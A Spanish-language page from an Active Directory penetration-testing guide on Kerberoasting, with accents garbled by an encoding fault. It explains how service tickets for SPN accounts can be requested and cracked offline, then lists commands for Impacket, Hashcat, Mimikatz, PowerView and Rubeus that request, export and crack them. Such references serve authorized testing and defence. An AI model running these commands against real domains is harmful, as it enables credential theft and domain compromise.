馃數
Active Directory Penetration Testing
  • Inicio
  • General
    • Recursos de aprendizaje
    • Herramientas
  • Recolecci贸n de informaci贸n y enumeraci贸n
    • Bypass protecciones PowerShell scripts
    • LLMNR/NBT-NS poisoning
    • Enumeraci贸n no autenticada
      • Enumeraci贸n de usuarios y grupos
      • Enumeraci贸n de pol铆tica de contrase帽as
    • Password spraying
    • Enumeraci贸n autenticada
      • BloodHound
      • Domain Name System (DNS)
      • Enumeraci贸n de dominios
      • Enumeraci贸n de usuarios, grupos y computadoras
      • Enumeraci贸n de recursos compartidos
      • Enumeraci贸n de pol铆tica de contrase帽as
      • Enumeraci贸n de Group Policy Object (GPO)
      • Enumeraci贸n de Access Control List (ACL)
      • Enumeraci贸n de relaciones de confianza de dominio
  • Movimiento lateral
    • User hunting
    • Microsoft SQL Server (MSSQL)
    • PowerShell remoting
    • Remote Desktop Protocol (RDP)
    • Server Message Block (SMB)
    • Windows Remote Management (WinRM)
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
  • Escalamiento de privilegios de dominio
    • Configuraciones incorrectas
    • Credential dumping
    • Usuarios y grupos
    • ASREPRoast
    • Kerberoast
    • DCSync
    • Unconstrained delegation
    • Constrained delegation
  • Escalamiento de privilegios en relaciones de confianza de dominio
    • Kerberoast
    • Foreign group membership
    • SID History
  • Persistencia
    • Golden Ticket
    • Silver Ticket
    • Skeleton Key
    • Directory Services Restore Mode (DSRM)
  • Vulnerabilidades
    • NoPac
    • PrintNightmare
Con tecnolog铆a de GitBook
En esta p谩gina
  • Descripci贸n
  • Linux/Unix
  • Impacket
  • Hashcat
  • Windows
  • M茅todo manual
  • M贸dulo ActiveDirectory PowerShell
  • PowerView
  • Rubeus

驴Te fue 煤til?

  1. Escalamiento de privilegios de dominio

Kerberoast

Descripci贸n

Este ataque tiene como objetivo las cuentas Service Principal Names (SPN). Los SPN son identificadores 煤nicos que utiliza Kerberos para asignar una instancia de servicio a una cuenta de servicio en cuyo contexto se ejecuta el servicio. Cualquier usuario de dominio puede solicitar un ticket de Kerberos para cualquier cuenta de servicio en el dominio. Tambi茅n es posible entre bosque (forest) si se permite la autenticaci贸n a trav茅s de las relaciones de confianza.

Para realizar un ataque de Kerberoast se necesita la contrase帽a de una cuenta de usuario de dominio (o hash NTLM), una shell en el contexto de una cuenta de usuario de dominio o acceso con privilegios de NT AUTHORITY\SYSTEM a un host unido al dominio.

La obtenci贸n de un Ticket Granting Service (TGS) para una cuenta con un SPN no permite ejecutar comandos en el contexto de esta cuenta. Sin embargo, el ticket est谩 encriptado con el hash NTLM de la cuenta de servicio, por lo que la contrase帽a sin cifrar se puede obtenerse potencialmente someti茅ndola a un ataque de fuerza bruta (offline) con una herramienta como Hashcat. Las cuentas de dominio que ejecutan servicios suelen ser administradores locales o cuentas de dominio con altos privilegios.

Linux/Unix

Impacket

Obtener cuentas Service Principal Names (SPN).

GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user>

Obtener Ticket Granting Service (TGS).

GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request -outputfile tgs.txt

Obtener Ticket Granting Service (TGS) de una cuenta.

GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request-user <user-SPN>
GetUserSPNs.py -dc-ip <IP-address-DC> <ACME.LOCAL>/<user> -request-user <user-SPN> -outputfile tgs-user.txt

Hashcat

Cracking de Ticket Granting Service (TGS).

RC4

# $krb5tgs$23$
hashcat -m 13100 tgs.txt <path-wordlist>
hashcat -m 13100 tgs.txt --show

AES-128

# $krb5tgs$17$
hashcat -m 19600 tgs.txt <path-wordlist>
hashcat -m 19600 tgs.txt --show

AES-256

# $krb5tgs$18$
hashcat -m 19700 tgs.txt <path-wordlist>
hashcat -m 19700 tgs.txt --show

Windows

M茅todo manual

Obtener cuentas Service Principal Names (SPN).

setspn.exe -Q */*

Obtener Ticket Granting Service (TGS) y cargar en memoria.

# Obtener Ticket Granting Service (TGS) de una cuenta
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<user-SPN>"

# Obtener Ticket Granting Service (TGS) de todas las cuentas
Add-Type -AssemblyName System.IdentityModel
setspn.exe -T <ACME.LOCAL> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Extraer Ticket Granting Service (TGS) desde memoria con Mimikatz.

.\mimikatz.exe
base64 /out:true
kerberos::list /export

Preparaci贸n de Ticket Granting Service (TGS) para cracking.

echo "<base64>" |  tr -d \\n | base64 -d > tgs-user.kirbi
kirbi2john tgs-user.kirbi
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' tgs-user.kirbi > tgs-user-hashcat.txt

M贸dulo ActiveDirectory PowerShell

Obtener cuentas Service Principal Names (SPN).

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Obtener Ticket Granting Service (TGS) de una cuenta.

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<user-SPN>"
klist

Exportar todos los Ticket Granting Service (TGS) con Invoke-Mimikatz.

 Invoke-Mimikatz -Command '"kerberos::list /export"'

Cracking de Ticket Granting Service (TGS).

python.exe .\tgsrepcrack.py .\<path-wordlist> .\<tgs.kirbi>

PowerView

Obtener cuentas Service Principal Names (SPN).

Get-DomainUser * -SPN | select SamAccountName

Obtener Ticket Granting Service (TGS) de una cuenta.

Get-DomainUser -Identity <user-SPN> | Get-DomainSPNTicket -Format Hashcat

Obtener Ticket Granting Service (TGS) de todas las cuentas y guardar en archivo.

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation

Rubeus

Obtener estad铆sticas de usuarios.

.\Rubeus.exe kerberoast /stats

Obtener Ticket Granting Service (TGS).

.\Rubeus.exe kerberoast /nowrap
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

Obtener Ticket Granting Service (TGS) de una cuenta.

.\Rubeus.exe kerberoast /user:<user> /nowrap

Obtener Ticket Granting Service (TGS) con cifrado RC4 para una cuenta.

.\Rubeus.exe kerberoast /tgtdeleg /user:<user> /nowrap
AnteriorASREPRoastSiguienteDCSync

脷ltima actualizaci贸n hace 2 a帽os

驴Te fue 煤til?